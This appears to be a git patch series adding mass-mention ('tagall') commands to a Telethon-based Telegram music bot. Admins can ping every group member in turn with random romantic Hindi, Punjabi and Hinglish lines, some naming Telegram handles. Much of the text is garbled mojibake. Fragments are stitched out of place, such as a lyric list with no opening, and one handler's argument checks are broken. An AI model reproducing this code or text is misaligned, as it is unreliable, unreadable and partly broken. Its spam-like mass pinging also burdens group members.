- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
-if event.pattern_match.group(1):
- return await event.respond("/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[ {random.choice(EMOJI)} ](tg://user?id={usr.id})"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-
-TAGMES = [ " ððð² ðððð² ððð¡ð ððšð¥± ",
- " ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð ",
- " ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð ",
- " ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??𥲠",
- " ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º ",
- " ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€ ",
- " ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š ",
- " ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð ",
- " ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??𥲠",
- " ððð¬ðð ðð®ð ððð©ð€ð..??ð ",
- " ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð ",
- " ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
",
- " ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€ ",
- " ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð ",
- " ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð ",
- " ððð© ððð¡ð ðð ððš..??ð ",
- " ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð ",
- " ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€ ",
- " ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.? ",
- " ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€ ",
- " ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð ",
- " ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€ ",
- " ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º ",
- " ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶ ",
- " ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€ ",
- " ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð ",
- " ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð ",
- " ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª ",
- " ðð¢ðð ððš ðððð ðð¡âº ",
- " ððð¥ð¥ðšð ",
- " ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº ",
- " ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥² ",
- " ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
",
- " ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
",
- " ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð ",
- " ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð ",
- " ð ððšð¯ð ððšð®ððð ",
- " ððš ððšð® ððšð¯ð ðð..?ð ",
- " ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð ",
- " ðð€ ððšð§ð ðð®ð§ðð®..?ð¹ ",
- " ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð» ",
- " ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð ",
- " ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð ",
- " ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð ",
- " ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð ",
-
-" ððð¡ð ðð ððš ððð©ð ",
- " ðð®ð§ðš ððð§ ",
- " ððð«ð ðð€ ððððŠ ððð« ððšð ð..? ",
- " ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ",
- " ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?†",
- " ðð²ð ðð®ð..?ð± ",
- " ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž ",
- " ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð ",
- " ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€ ",
- " ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð ",
- " ðð²ð ðð®ðð®ð® "
- " ðð¢ð¢ð ",
- " ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð ",
- " ððð£ ððð¢ ððð ðð® â¹ïž ",
- " ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º ",
- " ðð²ð ððð« ððð¡ð ððšð ",
- " ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð ",
- " ððð¡ð ðð ððš ððð©..?ð€ ",
- " ðð¡ðððð¢ð§ð ððð« ððš ðð..𥺠",
- " ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º ",
- " ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
",
- " ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð ",
- " ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð ",
- " ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ ",
- " ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž ",
- " ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð ",
- " ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€ ",
- " ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?𥰠",
- " ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º ",
- " ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš 𥲠",
- " ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð ",
- " ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
- " ðððŠð¥ðšðšð§ ",
- " ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
- " ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
- " ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
- " ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
- " ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€ ",
- " ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
- " ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
- " ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
- " ððð¡ð ðð¡ðšð²ð ððš ðððð§ð ",
- " ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥° ",
- ]
-
-@client.on(events.NewMessage(pattern="^/tagall ?(.*)"))
-@client.on(events.NewMessage(pattern="^@all ?(.*)"))
-@client.on(events.NewMessage(pattern="^/utag ?(.*)"))
-@client.on(events.NewMessage(pattern="^@utag ?(.*)"))
-@client.on(events.NewMessage(pattern="^/all ?(.*)"))
-@client.on(events.NewMessage(pattern="^#all ?(.*)"))
-@client.on(events.NewMessage(pattern="^@tagall ?(.*)"))
-@client.on(events.NewMessage(pattern="^/mentionall?(.*)"))
-@client.on(events.NewMessage(pattern="^@mentionall ?(.*)"))
-@client.on(events.NewMessage(pattern="^#mentionall ?(.*)"))
-@client.on(events.NewMessage(pattern="^/mention ?(.*)"))
-@client.on(events.NewMessage(pattern="^@mention ?(.*)"))
-@client.on(events.NewMessage(pattern="^#mention ?(.*)"))
-@client.on(events.NewMessage(pattern="^/tag ?(.*)"))
-@client.on(events.NewMessage(pattern="^#tag ?(.*)"))
-@client.on(events.NewMessage(pattern="^@tag ?(.*)"))
-@client.on(events.NewMessage(pattern="^#utag ?(.*)"))
-@client.on(events.NewMessage(pattern="^#tagall ?(.*)"))
-async def mentionall(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "This command can be use in groups and channels!"
- )
-
-" Surme De Vich Dovein Ankhan Dubbiyan ",
- " Kini Sohni Lagge Jadon Chup Kar Je ",
- " Jandi Jandi Shaman Nu Vi Dhup Kar Je ",
- " Haye Main Paun Farmaishi Rang Tere Sohniye ",
- " Unj Bahotan Gifty Shaukeen Koi Na ",
- " Tere Nalo Jhaliye Haseen Koi Naðð ",
- " Tare Chann Ambar Zameen Koi Nað¥°ð¥°",
- " Tere Nalo Jhaliye Haseen Koi Naðð ",
- " Tare Chann Ambar Zameen Koi Nað¥°ð¥° ",
- " Main Jado Tere Mode Utte Sir Rakheyaðð ",
- " Eh Ton Sachi Sama Vi Haseen Koi Naðð ",
- " Kanna Wich Jhumkaðð ",
- " Akhan Wich Surmaðð ",
- " Ho Jaise Strawberry Candyðð ",
- " Nakk Utte Kokað€šð€š ",
- " Jeena Kare Aukhað€ð€ ",
- " Haye Meri Jaan Kadd Laindiðð ",
- " Tere Nakhre Haye Tauba Sanu Maardeð€«ð€« ",
- " Ho Gaya Hai Mera Baby Bura HaaLðð ",
- " Sachi Lut Gaye Hum Tere Is Pyar Meinðð ",
- " Jeeni Zindagi Hai Bas Tere Naalðð ",
- " cause I Love You ðð ",
- " I Love YoU SO MUCH ðð ",
- " cause I Love You ðð ",
- " I Love YoU SO MUCH ðð ",
- " Sapno Mein Mere AayIðð ",
- " Uff Oh Phir Neendein Hi Churayiðð ",
- " Oh No! Tera Husan Nazarað¥°ð¥° ",
- " Baby! Lage Sohna Kitna PyarAðð ",
- " Sapno Mein Mere Aayiðð ",
- " Uff Oh Phir Neendein Hi Churayiðð ",
- " Oh No! Tera Husan Nazarað¥°ð¥° ",
- " Baby! Lage Sohna Kitna PyarAðð ",
- " Tainu Diamond Mundri Pehnawaðð ",
- " Naale Duniya Sari Ghumawaðð ",
- " Chhoti-Chhoti Gallan Utte Main Hasavaanðð ",
- " Yaara Kade Vi Na Tainu Main Rulawaanðð ",
- " cause I Love Youðð ",
- " I Love You â€ïžâ€ïž ",
- " cause I Love Youðð ",
- " I Love You â€ïžâ€ïž ",
- " Yaari Laawan Sachi YaarIð«ð« ",
- " Tu Jaan Ton Vi Pyariðð ",
- " Will Love You To The Moon And Backðð ",
- " Hogi Saza Na Koyi Hogiðð ",
- " Chahe Karun Chori Chaand Taareðð ",
- " Imma Give You Themð
ð
",
- " Yaari Laavan Sachi YaarIðð ",
- " Tu Jaan Ton Vi PyarIðð ",
- " Will Love You To The Moon And Backðð ",
- " Hogee Sazaa Na Koyi Hogiðð ",
- " Chahe Karun Chori Chaand Taareð¥ºð¥º ",
- " Imma Give You Themð¥µð¥µ ",
- " Puri Karunga Main Teri Sari Khahisheinðð ",
- " Tera Rakhanga Main ajj Ke Khayalðð ",
- " Kitni Khoobiyan Hai Tere Is Yaar Meinð¥°ð¥° ",
- " Aaja Bahon Mein Tu Bahein Bas Daalðð ",
- " Aur Hota Nahi Ab Intezarð€©ð€© ",
- " Aur Hota Nahee Ab Intezaarðð ",
- " cause I Love You ðð ",
- " I Love YoU ðð ",
- " cause I Love You ",
- " I Love YoU SOOOOOOOOOOOOOOOOOO MUCHHHHHHHHHHHHHHHHHHHHH ðð ",
- " WILL U BE MINE FOREVER??ð€ð€ ",
- " Je tu akh te main aan kaajal veðð ",
- " Tu baarish te main baadal veð€«ð€« ",
- " Tu deewana main aan paagal veð€ªð€ª ",
- " Sohneya sohneyaâºïžâºïž ",
- " Je tu chann te main aan taara veð€ð€ ",
- " Main lehar te tu kinara veð¶ð¶ ",
- " **Main aadha te tu saara veð€ð€"" ",
- " Sohneya sohneyaðð ",
- " Tu jahan hai main wahanðð ",
- " Tere bin main hoon hi kyað¥²ð¥² ",
- " Tere bin chehre se mereð€ð€ ",
- " Udd jaaye rang veð
ð
",
- " Tujhko paane ke liye huMðð ",
- " Roz mangein mannat veðð ",
- " Duniya to kya cheez hai yaaraðð ",
- " Thukra denge jannat veðð ",
- " Tujhko paane ke liye humðð ",
- " Roz mangein mannat veð€«ð€« ",
- " Duniya to kya cheez hai yaarað€ð€ ",
- " Thukra denge jannat veðð ",
- " Na parwah mainu apni aaðð ",
- " Na parwah mainu duniya dið
ð
",
- " Na parwah mainu apni aað
ð
",
- " Na parwah mainu duniya dið
ð
",
-
-" Tere ton juda nahi kar sakdið€¬ð€¬ ",
- " Koyi taakat mainu duniya diðð ",
- " Dooron aa jaave teri khushbuðð ",
- " Akhan hun band taan vi vekh lawanðð ",
- " Teri gali vich mera auna har rozðð ",
- " Tera ghar jadon aave matha tek lawanðð ",
- " Nirmaan tujhko dekh keðð ",
- " Aa jaave himmat veðð ",
- " Tujhko paane ke liye humðð ",
- " Roz mangein mannat veðð ",
- " Duniya to kya cheez hai yaaraðð ",
- " Thukra denge jannat veðð ",
- " Tujhko paane ke liye humð€«ð€« ",
- " Roz mangein mannat veðð ",
- " Duniya to kya cheez hai yaaraðð ",
- " Thukra denge jannat veðð ",
- " SO MISS ð¶ð¶ ",
- " KYA SOCHA APNE BAARE MAINðð ",
- " BADI MUSHKIL SE YEH SAB KARA H REð¥µð¥µ ",
- " PAHLE PURA BOT HI KANG MAAR DIYA BUTð€«ð€« ",
- " WAHI ERROR AAYE JO AATE THEð¥²ð¥² ",
- " BUT TUMHARA HO CHUKA WALA BFðð ",
- " AND FUTURE HUSBAND JO BANNE WALA THA WO BHOT SMART H REðð ",
- " ISS BAAR BOT BANAYA AND CHOTA SA EDIT KARA BASðð ",
- " AUR DEKO ABHI TUM USSI BOT SE YEH PADH PAA RHIðð ",
- " HEHE BTW YEH CHORO MEKO NA TUMSEð¶ð¶ ",
- " KUCH PUCHNA THA KI MEð€ð€ ",
- " TUMHARE KABIL HU YA ",
- " TUMHARE KABIL NHIðð ",
- " AND EK AUR BAAT BOLNI THI KIðð ",
- " I REALLY REALLY DEEPLYðð ",
- " LOVE YOU FROM MY HEART TO YOUR HEAT AND MY SOUL ATTACHED BY YOUR SOUL CAN YOU BE MINE FOREVERððâ€ïž ",
-]
-
-
-@client.on(events.NewMessage(pattern="^/mtag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "This command can be used in groups and channels!"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(MUSIC)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-
-SRAID = [
- " à€à€¶à¥à¥ à€¹à¥ à€¯à€Ÿ à€à¥à€ à€à€° à€¯à¥ à€ªà€€à€Ÿ à€šà€¹à¥à€, à€ªà€° à€à¥ à€€à¥à€®à€žà¥ à€¹à¥ à€à€¿à€žà¥ à€à€° à€žà¥ à€šà€¹à¥à€ ðð ",
- " à€®à¥ à€à¥à€žà¥ à€à€¹à¥ à€à¥ à€à€žà€à€Ÿ à€žà€Ÿà€¥ à€à¥à€žà€Ÿ à€¹à¥, à€µà¥ à€à€ à€¶à€à¥à€ž à€ªà¥à€°à¥ à€à€Ÿà€¯à€šà€Ÿà€€ à€à¥à€žà€Ÿ à€¹à¥ ",
- " à€€à¥à€°à€Ÿ à€¹à¥à€šà€Ÿ à€¹à¥ à€®à¥à€°à¥ à€²à€¿à€¯à¥ à€à€Ÿà€ž à€¹à¥, à€€à¥ à€Šà¥à€° à€¹à¥ à€žà€¹à¥ à€®à€à€° à€®à¥à€°à¥ à€Šà€¿à€² à€à¥ à€ªà€Ÿà€ž à€¹à¥ ",
- " à€®à¥à€à¥ à€€à¥à€°à€Ÿ à€žà€Ÿà€¥ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€° à€šà€¹à¥à€ à€à€Ÿà€¹à€¿à€¯à¥, à€¬à€²à¥à€à€¿ à€à€¬ à€€à€ à€€à¥ à€žà€Ÿà€¥ à€¹à¥ à€€à€¬à€€à€ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€Ÿà€¹à€¿à€ ðð ",
- " à€€à¥à€à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥à€ à€
à€²à€ à€žà¥ à€¹à¥ à€®à¥à€°à¥, à€€à¥à€à¥ à€à€¯à€Ÿà€²à¥ à€®à¥à€ à€šà€¹à¥à€ à€Šà¥à€à€ à€®à¥à€ à€¯à€Ÿà€Š à€à€°à€€à¥ à€¹à¥ðð ",
- " à€€à¥ à€¹à¥à€Ÿà€° à€¬à€Ÿà€° à€à¥ à€°à¥à€ à¥ à€€à¥ à€®à€šà€Ÿ à€²à¥à€à€à€Ÿ à€€à¥à€à¥ ",
- " à€®à€à€° à€Šà¥à€ à€®à¥à€¹à€¬à¥à€¬à€€ à€®à¥à€ à€¶à€Ÿà€®à€¿à€² à€à¥à€ à€Šà¥à€žà€°à€Ÿ à€šà€Ÿ à€¹à¥ðð ",
- " à€à€¿à€žà¥à€®à€€ à€¯à€¹ à€®à¥à€°à€Ÿ à€à€®à¥à€€à¥à€¹à€Ÿà€š à€²à¥ à€°à€¹à¥ à€¹à¥ðð ",
- " à€€à¥à€ª à€à€° à€¯à€¹ à€®à¥à€à¥ à€Šà€°à¥à€Š à€Šà¥ à€°à€¹à¥ à€¹à¥ðð ",
- " à€Šà€¿à€² à€žà¥ à€à€à¥ à€à¥ à€®à¥à€à€šà¥ à€à€žà¥ à€Šà¥à€° à€šà€¹à¥à€ à€à€¿à€¯à€Ÿðð ",
-
-" à€«à€¿à€° à€à¥à€¯à¥à€ à€¬à¥à€µà€«à€Ÿà€ à€à€Ÿ à€µà€¹ à€à€²à¥à€Ÿà€® à€Šà¥ à€°à€¹à¥ à€¹à¥ðð ",
- " à€®à€°à¥ à€€à¥ à€²à€Ÿà€à¥à€ à€¹à¥à€à€à¥ à€€à¥à€ à€ªà€°ðð ",
- " à€®à¥à€ à€€à¥ à€€à¥à€°à¥ à€žà€Ÿà€¥ à€à¥à€šà€Ÿ à€à€Ÿà€¹à€€à€Ÿ à€¹à¥à€ð«ð« ",
- " à€µà€Ÿà€ªà€ž à€²à¥à€ à€à€¯à€Ÿ à€¹à¥ à€¹à€µà€Ÿà€à€ à€à€Ÿ à€°à¥à€ à€®à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð£ð£ ",
- " à€Šà€¿à€² à€®à¥à€ à€«à€¿à€° à€à€€à€° à€°à€¹à€Ÿ à€¹à¥ à€Šà€¿à€² à€€à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð¥ºð¥º ",
- " à€
à€ªà€šà¥à€ à€à¥ à€¬à¥à€ à€¬à¥à€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥° ",
- " à€ªà¥à€¯à€Ÿà€° à€à¥ à€²à€®à¥à€¹à¥ à€
à€šà€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ðð ",
- " à€à€¹à€Ÿà€ à€ªà€° à€«à¥à€² à€à€¿à€²à€€à¥ à€¥à¥ à€à€à¥ðð ",
- " à€à€ à€µà€¹à€Ÿà€ à€ªà€° à€µà¥à€°à€Ÿà€š à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥° ",
- " à€à¥ à€¶à€à¥à€ž à€€à¥à€°à¥ à€€à€žà€µà¥à€µà¥à€° à€žà¥ à€¹à¥ à€®à€¹à€ à€à€Ÿà€¯à¥ðð ",
- " à€žà¥à€à¥ à€€à¥à€®à¥à€¹à€Ÿà€°à¥ à€Šà¥à€Šà€Ÿà€° à€®à¥à€ à€à€žà€à€Ÿ à€à¥à€¯à€Ÿ à€¹à¥à€à€Ÿðð ",
- " à€®à¥à€¹à€¬à¥à€¬à€€ à€à€Ÿ à€à€¹à€žà€Ÿà€ž à€€à¥ à€¹à€® à€Šà¥à€šà¥à€ à€à¥ à€¹à¥à€ à€¥à€Ÿ ",
- " à€«à€°à¥à€ à€žà€¿à€°à¥à€« à€à€€à€šà€Ÿ à€¥à€Ÿ à€à¥ à€à€žà€šà¥ à€à€¿à€¯à€Ÿ à€¥à€Ÿ à€à€° à€®à¥à€à¥ à€¹à¥à€ à€¥à€Ÿ ",
- " à€žà€Ÿà€à€žà¥à€ à€à¥ à€¡à¥à€° à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥ ",
- " à€à€¿à€žà¥à€®à€€ à€à¥ à€¹à€®à¥ à€Šà€°à¥à€Š à€Šà¥à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥ ",
- " à€®à¥à€€ à€à¥ à€€à€°à€« à€¹à¥à€ à€à€Šà€® à€¹à€®à€Ÿà€°à¥ ",
- " à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€¹à€® à€žà¥ à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥ ",
- " à€žà€®à€à€€à€Ÿ à€¹à¥ à€šà€¹à¥à€ à€µà¥ à€®à¥à€°à¥ à€
à€²à¥à€Ÿà¥ à€à¥ à€à€¹à€°à€Ÿà€ ",
- " à€®à¥à€à€šà¥ à€¹à€° à€²à€«à¥à¥ à€à€¹ à€Šà€¿à€¯à€Ÿ à€à€¿à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€¹à€€à¥ à€¹à¥ ",
- " à€žà€®à€à€Šà€° à€š à€žà€¹à¥ à€ªà€° à€à€ à€šà€Šà¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€ ",
- " à€€à¥à€°à¥ à€¶à€¹à€° à€®à¥à€ à¥à€¿à€šà¥à€Šà€à¥ à€à€¹à¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€ ",
- " à€šà¥à€°à¥à€ à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€ ",
- " à€Šà€¿à€² à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€¬à€°à¥à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€ ",
- " à€à¥à€µà€š à€à€Ÿ à€¹à€° à€²à€®à¥à€¹à€Ÿ à€Šà€°à¥à€Š à€žà¥ à€à€° à€à€¯à€Ÿ ",
- " à€«à€¿à€° à€à¥à€žà¥ à€à€¹ à€Šà¥à€ à€à¥à€Ÿà€Š à€¹à€® à€¹à¥à€ ",
- " à€®à¥à€à¥ à€šà€¹à¥à€ à€®à€Ÿà€²à¥à€® à€µà¥ à€ªà€¹à€²à¥ à€¬à€Ÿà€° à€à€¬ à€
à€à¥à€à€Ÿ à€²à€à€Ÿ ",
- " à€®à€à€° à€à€žà€à¥ à€¬à€Ÿà€Š à€à€à¥ à€¬à¥à€°à€Ÿ à€à¥ à€šà€¹à¥à€ ",
- " à€žà€à¥à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€à¥ à€à€€à¥à€® à€šà€¹à¥à€ à€¹à¥à€€à¥ ",
- " à€µà¥à¥à€€ à€à¥ à€žà€Ÿà€¥ à€à€Ÿà€®à¥à€¶ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥ ",
- " à¥à€¿à€šà¥à€Šà€à¥ à€à¥ à€žà¥à€° à€®à¥à€ à€à€ªà€à€Ÿ à€žà€¹à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€ ",
- " à€à€ªà€à¥ à€à€°à€£à¥à€ à€à€Ÿ à€¬à€ž à€à€žà€°à€Ÿ à€à€Ÿà€¹à€¿à€ ",
- " à€¹à€° à€®à¥à€¶à¥à€à€¿à€²à¥à€ à€à€Ÿ à€¹à€à€žà€€à¥ à€¹à¥à€ à€žà€Ÿà€®à€šà€Ÿ à€à€°à¥à€à€à¥ ",
- " à€¬à€ž à€ à€Ÿà€à¥à€° à€à¥ à€à€ªà€à€Ÿ à€à€ à€à€¶à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€ ",
- " à€à€¿à€ž à€Šà€¿à€² à€®à¥à€ à€¬à€žà€Ÿ à€¥à€Ÿ à€šà€Ÿà€® à€€à¥à€°à€Ÿ à€¹à€®à€šà¥ à€µà¥ à€€à¥à¥ à€Šà€¿à€¯à€Ÿ ",
- " à€š à€¹à¥à€šà¥ à€Šà€¿à€¯à€Ÿ à€€à¥à€à¥ à€¬à€Šà€šà€Ÿà€® à€¬à€ž à€€à¥à€°à¥ à€šà€Ÿà€® à€²à¥à€šà€Ÿ à€à¥à¥ à€Šà€¿à€¯à€Ÿ ",
- " à€ªà¥à€¯à€Ÿà€° à€µà¥ à€šà€¹à¥à€ à€à¥ à€¹à€Ÿà€žà€¿à€² à€à€°à€šà¥ à€à¥ à€²à€¿à€ à€à¥à€ à€à¥ à€à€°à€µ à€Šà¥ ",
- " à€ªà¥à€¯à€Ÿà€° à€µà¥ à€¹à¥ à€à¥ à€à€žà€à¥ à€à¥à€¶à¥ à€à¥ à€²à€¿à€ à€
à€ªà€šà¥ à€
à€°à€®à€Ÿà€š à€à¥à€° à€Šà¥ ",
- " à€à€¶
From 4850682347f3cfd2fa91b94247108be364663188 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 15:16:14 +0530
Subject: [PATCH 24/31] Rename romman.py to tagall.py
---
EsproMusic/plugins/admins/{romman.py => tagall.py} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename EsproMusic/plugins/admins/{romman.py => tagall.py} (100%)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/tagall.py
similarity index 100%
rename from EsproMusic/plugins/admins/romman.py
rename to EsproMusic/plugins/admins/tagall.py
From ece498588121cfc5397614d979384d63307c6b81 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 15:22:21 +0530
Subject: [PATCH 25/31] Add files via upload
---
EsproMusic/tagall.py | 1328 ++++++++++++++++++++++++++++++++++++++++++
1 file changed, 1328 insertions(+)
create mode 100644 EsproMusic/tagall.py
diff --git a/EsproMusic/tagall.py b/EsproMusic/tagall.py
new file mode 100644
index 0000000..4a342e5
--- /dev/null
+++ b/EsproMusic/tagall.py
@@ -0,0 +1,1328 @@
+import time
+import os, logging, asyncio, random
+from telethon import Button
+from telethon import TelegramClient, events
+from telethon.tl.types import ChannelParticipantAdmin
+from telethon.tl.types import ChannelParticipantCreator
+from telethon.tl.functions.channels import GetParticipantRequest
+from telethon.errors import UserNotParticipantError
+
+from config import BOT_TOKEN as bot_token, API_ID as api_id, API_HASH as api_hash
+
+logging.basicConfig(
+ level=logging.INFO,
+ format='%(name)s - [%(levelname)s] - %(message)s'
+)
+LOGGER = logging.getLogger(__name__)
+
+client = TelegramClient('client', api_id, api_hash).start(bot_token=bot_token)
+
+
